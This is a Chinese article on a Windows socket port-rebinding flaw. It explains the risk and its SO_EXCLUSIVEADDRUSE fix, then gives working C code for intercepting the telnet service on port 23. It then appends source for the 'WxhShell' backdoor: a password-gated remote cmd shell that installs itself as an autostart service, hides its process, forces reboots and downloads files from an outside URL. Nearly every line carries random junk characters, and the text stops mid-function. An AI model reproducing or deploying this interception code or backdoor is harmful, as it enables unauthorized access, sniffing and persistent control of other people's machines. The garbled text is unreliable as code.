在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
mN
Hd s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
ARvT ;T0F1 saddr.sin_family = AF_INET;
<+I^K 7
qDHiyg^u saddr.sin_addr.s_addr = htonl(INADDR_ANY);
2[6>h) ky>0 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
3NAU|//J *y<Ru:D 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
__o`+ ^FS ]wFKXZeK 这意味着什么?意味着可以进行如下的攻击:
?@8[1$1a |W4
\ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
hqrI%% C%_^0#8-0 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
+EK(r@eV 5{/CqUIl 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
XHU&ix{Od uTgBnv(Y* 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
_yk}
[x0> =2!AK[KxX 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
HEdOo~/~ hp=TWt~ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
m} /L MY B w?Kb@ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
x}o]R tVVnQX #include
|:yQOq| #include
pn3f{fQ #include
Hbwjs?Vq?] #include
Q M7z
. DWORD WINAPI ClientThread(LPVOID lpParam);
-wv5c int main()
7.g)_W{7} {
2ED^uc:
0S WORD wVersionRequested;
gSLwpIK% DWORD ret;
NJK?5{H' WSADATA wsaData;
hpp>+= BOOL val;
hDaI@_86 SOCKADDR_IN saddr;
*%<Ku&C SOCKADDR_IN scaddr;
vl59|W6 int err;
BM PLL2I SOCKET s;
~3-2Iu^F SOCKET sc;
6!P];3&o\A int caddsize;
NCbl|v= HANDLE mt;
)#ze DWORD tid;
)P4#P2 wVersionRequested = MAKEWORD( 2, 2 );
Vfew )]I err = WSAStartup( wVersionRequested, &wsaData );
D~ _|`D5WK if ( err != 0 ) {
`s74g0h printf("error!WSAStartup failed!\n");
iC- ?F
cA return -1;
5c6CH k`: }
GB Oz,_pw saddr.sin_family = AF_INET;
$[9,1.?C p_h)|*W{ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
+9Z RCmV d.y2`wT saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
eveGCV;@ saddr.sin_port = htons(23);
]}z;!D> if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
:(tSL{FO {
+<&\*VR printf("error!socket failed!\n");
o%#Z
return -1;
K0B
J }
N}{CL(xi val = TRUE;
_YF~DU //SO_REUSEADDR选项就是可以实现端口重绑定的
^pz3L'4n if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
* ;A I0 {
Q]X0O10 printf("error!setsockopt failed!\n");
XvBEC_xWZ return -1;
"h.} o DS }
"o#N6Qu71 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
-f?Rr:# //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
+ wd} '4) //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
]:TX> X! H -('!^ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
R<W#.mpo6 {
etF?,^)h=g ret=GetLastError();
\ZrLh,6f. printf("error!bind failed!\n");
K@xp! return -1;
m(JFlO }
xo{f"8}^ listen(s,2);
/_~b~3{u while(1)
6_/oVvd {
!ZP1?l30 caddsize = sizeof(scaddr);
|u8hxa //接受连接请求
KLBV(`MS sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
-,jJ{Y~ if(sc!=INVALID_SOCKET)
YLk; ^? {
Mi'Q5m mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
PHRc*G{ if(mt==NULL)
X'N4a {
Yjz'lWg printf("Thread Creat Failed!\n");
@~6A9Fr break;
5xW)nEV }
N>i1TM2 }
]*a)'k_@[ CloseHandle(mt);
sQW$P9s
c }
.K^'Q|? closesocket(s);
@ [_I| WSACleanup();
]7kq@o/7 return 0;
;cZ9C 1 }
}8WpX2U DWORD WINAPI ClientThread(LPVOID lpParam)
#r 1
$=GY {
aq3evm SOCKET ss = (SOCKET)lpParam;
:6LOb f\01 SOCKET sc;
Z4'"* unsigned char buf[4096];
uE:#m.Q SOCKADDR_IN saddr;
fX G+88:2 long num;
M%4o0k]E,s DWORD val;
><iE VrpN DWORD ret;
#I9|>XE1 //如果是隐藏端口应用的话,可以在此处加一些判断
DoWY*2E //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
dtjaQsJM^ saddr.sin_family = AF_INET;
xD#PM |I saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
:0ND0A{K: saddr.sin_port = htons(23);
ia|^>V>- if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
jsTb0 {
`xe[\Z2 printf("error!socket failed!\n");
YlOYgr^ return -1;
4@#1G*OO }
sw*k(i val = 100;
7-Rn{"5 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
RhyI\(Z2q {
b0LjNO@< ret = GetLastError();
OB3AZH$ return -1;
><OdHRh@# }
Mr:*l`b_ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
lj%8(X u {
)<4o"R:* ret = GetLastError();
W"Dj+/uS return -1;
$V?zJ:a>L }
T,(IdVlJ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Rz`<E97- {
3hR7 ./ printf("error!socket connect failed!\n");
Bt,qG1>$- closesocket(sc);
YU76(S9 0# closesocket(ss);
BieII$\P%P return -1;
,)V*xpp }
+`f gn9p while(1)
.}ZX~k&P {
6f6_ztTL //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
aGp <%d //如果是嗅探内容的话,可以再此处进行内容分析和记录
6N.mSnp //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
0]8+rWp|Nz num = recv(ss,buf,4096,0);
/0SG if(num>0)
&{&lCBN send(sc,buf,num,0);
a[s%2>e else if(num==0)
3]'=s>UO>^ break;
=YA%=
d_ num = recv(sc,buf,4096,0);
SiojOH if(num>0)
[k-7Kq send(ss,buf,num,0);
8q7KqYu else if(num==0)
!=&]#-;b break;
ml=1R>#' }
<Q\`2{ closesocket(ss);
_1y|#o closesocket(sc);
&\sg~ return 0 ;
H?40yu2m5 }
R ;5w*e}?5 iBJ*6orz i )3Y\u ==========================================================
i[3$Wi$ #2yOqUO\ 下边附上一个代码,,WXhSHELL
* VW\ ygpC1nN ==========================================================
Vu`dEvL? tP!sOvQ: #include "stdafx.h"
+KFK.. aSHZR #include <stdio.h>
?0[%+AD hM #include <string.h>
&[cL%pP #include <windows.h>
w])~m1yW #include <winsock2.h>
[$[t.m #include <winsvc.h>
ieBW 0eMi #include <urlmon.h>
(/"T=`3t q*{"6"4( #pragma comment (lib, "Ws2_32.lib")
UMhM8m!=o #pragma comment (lib, "urlmon.lib")
w?M*n<)
O +\Q6Onqr #define MAX_USER 100 // 最大客户端连接数
@T/C<- /: #define BUF_SOCK 200 // sock buffer
vW$]:). #define KEY_BUFF 255 // 输入 buffer
jn}6yXB ie.cTTOI #define REBOOT 0 // 重启
gK)B3dH*& #define SHUTDOWN 1 // 关机
7C2/^x P Qg6m #define DEF_PORT 5000 // 监听端口
WtRy~5A2 $<s@S;Ri #define REG_LEN 16 // 注册表键长度
5jNBt>.0 #define SVC_LEN 80 // NT服务名长度
DA@
{ d-A [&3"kb // 从dll定义API
=j;o,
J:( typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
/u:Sn=SPd typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
AU'{aC+p typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
K&|zWpb typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
{zF eA4*Be;9e // wxhshell配置信息
m(OBk;S~ struct WSCFG {
ixKQh};5/ int ws_port; // 监听端口
kIWQ`)' char ws_passstr[REG_LEN]; // 口令
H8\{GGg int ws_autoins; // 安装标记, 1=yes 0=no
fI$,?> char ws_regname[REG_LEN]; // 注册表键名
%< j=& char ws_svcname[REG_LEN]; // 服务名
kI[EG<N1k char ws_svcdisp[SVC_LEN]; // 服务显示名
bjT0Fi0- char ws_svcdesc[SVC_LEN]; // 服务描述信息
}_?7k0EZ@ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
eazP'(rc int ws_downexe; // 下载执行标记, 1=yes 0=no
;4qalxzu char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
=Fj:#s char ws_filenam[SVC_LEN]; // 下载后保存的文件名
_cGiuxf
# _l8oB) };
IL%&*B W2^eE9 // default Wxhshell configuration
A{+ZXu} struct WSCFG wscfg={DEF_PORT,
-;~_]t^a "xuhuanlingzhe",
#='#`5_5 1,
pu>LC6m3a "Wxhshell",
~Q%QA._R? "Wxhshell",
J7cqn j "WxhShell Service",
D3^v[>E2 "Wrsky Windows CmdShell Service",
}+=@Ci "Please Input Your Password: ",
xq~=T:>/A 1,
IB;y8e, "
http://www.wrsky.com/wxhshell.exe",
hcf>J6ZLT "Wxhshell.exe"
`7
B
[< };
J|DWT+$#Z "V:UQ<a\ // 消息定义模块
R6:N`S]&d[ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
ih YfWG| char *msg_ws_prompt="\n\r? for help\n\r#>";
5cE[s<= char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Xif`gb6` char *msg_ws_ext="\n\rExit.";
"R30oA#m char *msg_ws_end="\n\rQuit.";
O-'T*M> char *msg_ws_boot="\n\rReboot...";
A|a\pL` @ char *msg_ws_poff="\n\rShutdown...";
3=K-+dhk|t char *msg_ws_down="\n\rSave to ";
Ys3C'Gc G:&Q)_ char *msg_ws_err="\n\rErr!";
DHJnz>bE char *msg_ws_ok="\n\rOK!";
4PF4# <s{/ka3 char ExeFile[MAX_PATH];
#{?oUg>$ int nUser = 0;
_|Dt6 HANDLE handles[MAX_USER];
1)Ag|4 int OsIsNt;
m76]INq b~~}(^Bg SERVICE_STATUS serviceStatus;
#F6ak,9S4 SERVICE_STATUS_HANDLE hServiceStatusHandle;
hs*:!&E
^IId
=V=2 // 函数声明
3&*%>) int Install(void);
Rd!.8K[ int Uninstall(void);
EnUo B< int DownloadFile(char *sURL, SOCKET wsh);
p_nrua? int Boot(int flag);
#]'V#[;~ void HideProc(void);
[a
Z)*L
; int GetOsVer(void);
Ip0Zf? int Wxhshell(SOCKET wsl);
D2mB4 void TalkWithClient(void *cs);
a&cV@~ int CmdShell(SOCKET sock);
w##Fpv<m int StartFromService(void);
(#,.;Y int StartWxhshell(LPSTR lpCmdLine);
v|'N|k l {38aaf|'/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
.5z|g@
6 VOID WINAPI NTServiceHandler( DWORD fdwControl );
Zu hT \l tO0+~Wm // 数据结构和表定义
h}d7M55#| SERVICE_TABLE_ENTRY DispatchTable[] =
G?g7G,|d {
Z:OO|x {wscfg.ws_svcname, NTServiceMain},
KWY G\#S0] {NULL, NULL}
^49moC- };
8]L.E R.QcXz?d // 自我安装
?t"PawBWE int Install(void)
3HiW1*5W {
lt]U?VZ char svExeFile[MAX_PATH];
QRjt.Ry| HKEY key;
t2gjhn^p strcpy(svExeFile,ExeFile);
e8# 3Y+Tc \r2qH0B // 如果是win9x系统,修改注册表设为自启动
2u:j6ic if(!OsIsNt) {
&ar}6eO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
.`p_vS9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
oF^B J8%Lm RegCloseKey(key);
g:)vthOs if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
0T5>i 0/ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
i_@RWka< RegCloseKey(key);
i@6
/# return 0;
a]k&$ }
{3Rax5Ty }
^/uGcz|. }
Rb0{t[IU else {
tvUvd(8w }X?*o`sW // 如果是NT以上系统,安装为系统服务
WWLVy( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
*l^'v9
if (schSCManager!=0)
d7P @_jO6 {
ba ?k:b SC_HANDLE schService = CreateService
KWUz]>Z (
0_EF7`T schSCManager,
*X #e wscfg.ws_svcname,
^m=%Ctu# wscfg.ws_svcdisp,
P(;c` SERVICE_ALL_ACCESS,
,W-0qN&%/ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Gpu?z-) SERVICE_AUTO_START,
g2]-Q. SERVICE_ERROR_NORMAL,
E~P0}' svExeFile,
$5IrM7i NULL,
!O-+h0Z NULL,
@FV;5M:I NULL,
v\eBL&WK NULL,
8iN As#s NULL
Zy%Z]dF );
E0Djo'64 if (schService!=0)
,Aii>D] {
;cr6Xop#? CloseServiceHandle(schService);
GP$Y4*y/ CloseServiceHandle(schSCManager);
B,>Fh X>h strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
U VKN#"_{ strcat(svExeFile,wscfg.ws_svcname);
^4[[+r if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Q(6(Scp{ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
D2p6&HNT RegCloseKey(key);
jhG7sS| return 0;
DE ws+y-* }
hl:eF:'hm }
4QNR_w CloseServiceHandle(schSCManager);
->8q, W2A }
d@tr]v5 B }
Yn>zR I m #QI*R
XP return 1;
;%<4U^2 }
Y ,yaB)&Ih @45 H8|:k // 自我卸载
[u80-x< int Uninstall(void)
[R> {
][nUPl HKEY key;
P{eRDQ= ;vdgF if(!OsIsNt) {
sCQup^\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
?<'W~Rm6n RegDeleteValue(key,wscfg.ws_regname);
%
eRwH
> RegCloseKey(key);
29^bMau)v if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
S(i(1Hs. RegDeleteValue(key,wscfg.ws_regname);
b<AE}UK RegCloseKey(key);
Ba0D"2CgY return 0;
h\d($Ki }
PEEY;x }
4d
G- }
"S`wwl else {
vs|6ww _KVB~loT SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
I;-5]/, if (schSCManager!=0)
#ya|{K {
3SDWR@x& SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
I%919 if (schService!=0)
3 ?F@jEQk {
>-lL-%N_ if(DeleteService(schService)!=0) {
Qu FCc1Q CloseServiceHandle(schService);
X.l"f'`l CloseServiceHandle(schSCManager);
f+Me dc~ return 0;
W;dzLgc }
2gAdZE&Y CloseServiceHandle(schService);
FM"BTA:C }
t[,T}BCy. CloseServiceHandle(schSCManager);
ddDJXk)!0 }
dY@Tt&k8E }
]wpYxos +A ?+G return 1;
>5O y^u6Ly }
$Wzv$4; r/sRXM:3cZ // 从指定url下载文件
Ko|xEz= int DownloadFile(char *sURL, SOCKET wsh)
OW}j4-~wL {
zl
0^EltiU HRESULT hr;
;n{j,HB char seps[]= "/";
w9<FX>@ char *token;
f^sb0nU char *file;
l=~99mE char myURL[MAX_PATH];
F>kn:I"X) char myFILE[MAX_PATH];
+1jqCW AJlIA[Kt: strcpy(myURL,sURL);
D.R|HqZ token=strtok(myURL,seps);
8sF0]J[g{ while(token!=NULL)
;To+,`?E;q {
@-@rG>y^: file=token;
rbun5&RCyW token=strtok(NULL,seps);
gc7:Rb^E5t }
Rn(F#tI I+?$4SC GetCurrentDirectory(MAX_PATH,myFILE);
2mU-LQ1WN strcat(myFILE, "\\");
zGd*Q5l strcat(myFILE, file);
,
gr&s+ send(wsh,myFILE,strlen(myFILE),0);
GVc[p\h( send(wsh,"...",3,0);
mRnzP[7-\) hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
ae#HA[\0G if(hr==S_OK)
Qn)[1v return 0;
1fhK{9# else
QqK{~I|l return 1;
zHc 4e
2a(yR># }
Ldj^O9p( Xa%&.&V // 系统电源模块
$_7d! S" int Boot(int flag)
9g5{3N3 {
%%,hR'+| HANDLE hToken;
'`~(Fkj TOKEN_PRIVILEGES tkp;
`{Di* LOUKURe E if(OsIsNt) {
$17
v, OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
4U
a~*58 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
B0XBI0w^Y tkp.PrivilegeCount = 1;
WlRZ|. tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
&T/q0bwd AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
^_S-s\DW if(flag==REBOOT) {
K6yFpVl if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
UNcJ= return 0;
{S" }
KYmWfM3^ else {
M|E2&ht if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
19w,'}CGk return 0;
;/^]| }
- Zoo) }
y7IbE else {
(zro7gKked if(flag==REBOOT) {
?r'TH/> if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
(VXx G/E3 return 0;
];{l$-$$ }
p<0kmA<B/ else {
)>X|o$2 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
. I&)MZ>n return 0;
&~JfDe9IS }
g*r{!:,t }
VRQbf B/9<b{6 return 1;
IU'!?XVo }
N"
Jtg@w MHr0CYyb. // win9x进程隐藏模块
XG\a-dq[ void HideProc(void)
Vh.;p.!e {
OxHw1k 6=g]Y!o$ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
X6N]gD if ( hKernel != NULL )
~SR(K{nf#. {
K0DXOVT\ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
E%2!C/+B ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
>]XaUQ- FreeLibrary(hKernel);
71<PEawL }
cH* /zNp lfpt:5a9& return;
p`<e~[]a }
eYD9#y !Nxn[^[?. // 获取操作系统版本
At[n<8_| int GetOsVer(void)
mp+\! {
?Str*XA; OSVERSIONINFO winfo;
Rqb{)L
X* winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
?4,*RCaI GetVersionEx(&winfo);
~q]|pD"\K| if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
:af;yu return 1;
"U5Ln2X{J else
hNq8
uyKx return 0;
cxP9n8CuT }
v1X&p\[d r@ T-Hi // 客户端句柄模块
IB.'4B7 int Wxhshell(SOCKET wsl)
ofPF} {
Nvx)H(8F SOCKET wsh;
mcz(,u} struct sockaddr_in client;
c2\rjK DWORD myID;
&t*8oNwSs TH(Lzrbg while(nUser<MAX_USER)
Ky'3z" {
THbtu*El int nSize=sizeof(client);
32bkouq wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
]g8i>,G if(wsh==INVALID_SOCKET) return 1;
gM;)
$`XN handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
FG;<`4mY if(handles[nUser]==0)
B=Zukg1G closesocket(wsh);
hV>4D&< else
74}eF)(me nUser++;
8%2rgA }
WDoKbTv WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
-M>K4*%K 5}d/8tS return 0;
SN[L4}{ }
'!yS72{$2 g@k#J"Q'[ // 关闭 socket
,2
g M- void CloseIt(SOCKET wsh)
]4 K1%ZV {
.n)!ZN closesocket(wsh);
az\<sWb# nUser--;
S-M)MCL ExitThread(0);
!}L~@[v,uL }
i>]<*w Av;q:x? // 客户端请求句柄
94p:| 5@ void TalkWithClient(void *cs)
/mMAwx {
F; MF:;mM M8#*zCp{5 SOCKET wsh=(SOCKET)cs;
!HdvCYB> char pwd[SVC_LEN];
bQ^DX `o6P char cmd[KEY_BUFF];
q2S!m6 ! char chr[1];
kY'<u int i,j;
|Uy e>%*}4 i!1ho T$ while (nUser < MAX_USER) {
#4P3xa ]e@0T{! if(wscfg.ws_passstr) {
!e:iB7< if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
{;Y 89&*R //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
==h|+NFa //ZeroMemory(pwd,KEY_BUFF);
:~ZqB\>i i=0;
eC+"mhB while(i<SVC_LEN) {
jsNH`" *%OYAsc // 设置超时
Hyq@O8 fd_set FdRead;
't0+:o">: struct timeval TimeOut;
v.l7Q FD_ZERO(&FdRead);
"W &:j:o FD_SET(wsh,&FdRead);
w'oo-.k TimeOut.tv_sec=8;
z_:eM7]jv TimeOut.tv_usec=0;
J0ZxhxX35 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
XSm"I[.g if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
{uaZ<4N. 4GU/V\e| if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
eq@am(#&kY pwd
=chr[0]; <THZ2`tTK3
if(chr[0]==0xd || chr[0]==0xa) { d}{LM!s
pwd=0; 7xv4E<r2
break; yyY~ *Le
} `2xH7a-
i++; {)
:%WnM9
} ?Do^stq'4
c-4m8Kg?L
// 如果是非法用户,关闭 socket b!'l\~`{i
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); JQKC;p
} Ow
cVPu_
;ZQ-uz
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D00G1:Ft(T
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^wx%CdFm'P
r/NSD$-n
while(1) { [x2JFS#4
^CZCZ,v
ZeroMemory(cmd,KEY_BUFF); @uI?
f7XQ~b
// 自动支持客户端 telnet标准 &a%WM
j=0; gk!E$NyE
while(j<KEY_BUFF) { Jv_.itc
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); prNhn:j
cmd[j]=chr[0]; IVI~1~
if(chr[0]==0xa || chr[0]==0xd) { ./'~];&
cmd[j]=0; FAQr~G}
break; sU) TXL'_!
} s<[A0=LH
j++; ,O:EX0
} :a_BD
?z2jk
// 下载文件 K0w<[CO
if(strstr(cmd,"http://")) { B.89_!/:p
send(wsh,msg_ws_down,strlen(msg_ws_down),0); V]I:2k5
if(DownloadFile(cmd,wsh)) ?PBa'g
send(wsh,msg_ws_err,strlen(msg_ws_err),0); QGs1zfh*
else uh]"(h(>
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z$JX'(<Z7
} +hE',i.
else { bA}AD`5
3lo;^KX !
switch(cmd[0]) { 2\^G['9
@Ii-NmOr
// 帮助 HXQ e\r
case '?': { :P3{Nxa
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +c^_^Z$_4o
break; s|Z:}W?{
} `W@T'T"
// 安装 ?b||Cr
case 'i': { =43I1&_
if(Install()) 0cHfxy3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); O^5UB~
else ze`1fO|%
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6iG(C.b
break; Zy^=fM
} 1EVfowIl
// 卸载 ^>C11v
case 'r': { I*EJHBsQ5
if(Uninstall()) Q,{^S,s<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); RFw(]o,9cR
else ,4[dLWU
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4&Byl85q
break; !c%
} lC0~c=?J
// 显示 wxhshell 所在路径 Q"40#RFA
case 'p': { O~V1Ywfq7^
char svExeFile[MAX_PATH]; A (Bk@;
strcpy(svExeFile,"\n\r"); {m[s<A(
strcat(svExeFile,ExeFile); P0^c?s"I
send(wsh,svExeFile,strlen(svExeFile),0); &5?G-mn
break; 5iVQc -m&
} $9K(F~/
// 重启 pz{'1\_+9
case 'b': { )zU:
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]*qU+&
if(Boot(REBOOT)) axmsrjW#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); LheFQ A
else { $.pTB(tO
closesocket(wsh); NmJ`?-Z
ExitThread(0); OTj,O77k
} I,b9t\(6
break; ?v:ZU~i
} IV'p~t
// 关机 c!It^*
case 'd': { Z7fg
25
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qj&bo
if(Boot(SHUTDOWN)) .20V
3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &)n_]R#)
else { `H\)e%]
closesocket(wsh); Y;Ap9i*
ExitThread(0); 8nCp\0
} )0^># k
break; i31<].|kA*
} `H>b5
// 获取shell gxwo4.,
case 's': { ,M QVE
CmdShell(wsh); Oe51PEqn
closesocket(wsh); RT^v:paNT2
ExitThread(0); ^"9*
'vTtc
break; Rf)ke("
}
.[?BlIlm
// 退出 R_^/,^1
case 'x': { 0"78/6XIs
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _T5)n=|
CloseIt(wsh); p~&BChBl!=
break; SR ZL\m}
} U3E&n1AA
// 离开 pj0fM{E
case 'q': { }g|nz8
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5{d\uE%'p
closesocket(wsh); %d1draL
WSACleanup(); |t))u`~
exit(1); *RWm47
break; |S&5es-yW
} K B!5u 9
} [ %}u=}@
} \ECu5L4
{hQ6K)s
// 提示信息 I9Eu',
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Kc #|Z
} */z??fI27
} 06 i;T~Y
N2ied^* 0
return; MV0Lq:# N
} +pf5\#l?
7AwgJb hn
// shell模块句柄 x({H{'9?
int CmdShell(SOCKET sock) 9Ma0^_
{ rv>^TR*,!
STARTUPINFO si; BQ/PGY>
ZeroMemory(&si,sizeof(si)); gd7^3q[$h
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hIYTe
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }^-<k0A4?
PROCESS_INFORMATION ProcessInfo; 8 TiG3
char cmdline[]="cmd"; 4nqoZk^R
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w8Vw1wW
return 0; bc I']WgB-
} HpVjee
t\4[``t
// 自身启动模式 D\1k.tI
int StartFromService(void) >\2:\wI
{ kL>d"w
typedef struct UG;Y^?Ppe5
{ x;LzG t:w
DWORD ExitStatus; ?+0GfIV
DWORD PebBaseAddress; At6qtoPRA
DWORD AffinityMask; >?lOE
-}^
DWORD BasePriority; qQ0C ?
ULONG UniqueProcessId; uuNR?1fS
ULONG InheritedFromUniqueProcessId; ua5?(,E`']
} PROCESS_BASIC_INFORMATION; a|4~NL
